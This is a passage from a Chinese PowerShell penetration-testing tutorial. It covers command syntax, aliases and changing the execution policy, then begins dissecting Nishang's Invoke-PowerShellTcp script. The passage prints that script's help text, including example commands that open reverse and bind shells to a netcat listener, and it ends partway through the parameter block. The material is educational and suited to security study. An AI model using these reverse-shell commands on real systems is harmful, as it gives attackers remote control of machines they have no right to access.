原文来自:https://bbs.ichunqiu.com/thread-41561-1-1.html
i春秋作家:anyedt
0×00 引言
经过基础篇的学习我们已经对powershell有了一个基本的了解,接下来我们先补充一点基础知识然后就尝试去分析nishang中的优秀代码学会如何去使用脚本最后实战 。预告一下,第三篇高级篇带你使用powershell遨游内网。
0×01 补充知识
a 命令格式
<command -name > -< Required Parameter Name > <Required Parameter Value >
命令 -名称 请求参数名 请求参数值
[ -< Optional Parameter Name > <Optional Parameter Value >]
[ -< Optional Switch Parameters >]
[ -< Optional Parameter Name >] <Required Parameter Value >
b 等价别名
许多命令都有别名以及使用DOS的人或Unix这些可以非常熟悉。 别名是一种简短的命令形式但是其作用是等价的。
Command Aliases (命令别名)
clear-host cls, clear
format-list fl
get-childitem gci, ls, dir
get-content gc, cat, type
get-location gl, pwd
get-member gm
remove-item ri, rm, rmdir, del, erase, rd
write-output write, echo
c 执行策略问题
Powershell脚本执行策略是默认不允许执行任何脚本,如果我们没有修改过执行策略而直接运行可能出现以下问题。
解决办法
首先查看脚本执行策略设置情况,可以通过 Get-ExecutionPolicyget-executionpolicy命令。如果显示 Restricted 即不允许执行任何脚本。使用管理员身份运行powerhsell然后执行命令:set-executionpolicy remotesigned 回车之后即可执行脚本。
0×02 分析TCP交互式PowerShell脚本
该脚本取之于nishang这个框架,Nishang是一个PowerShell攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合。Nishang被广泛应用于渗透测试的各个阶段。下载地址:https://github.com/samratashok/nishang。
先贴上其TCP交互式PowerShell脚本(建立一个TCP正向连接或反向连接shell )代码如下:
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
注释部分
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName=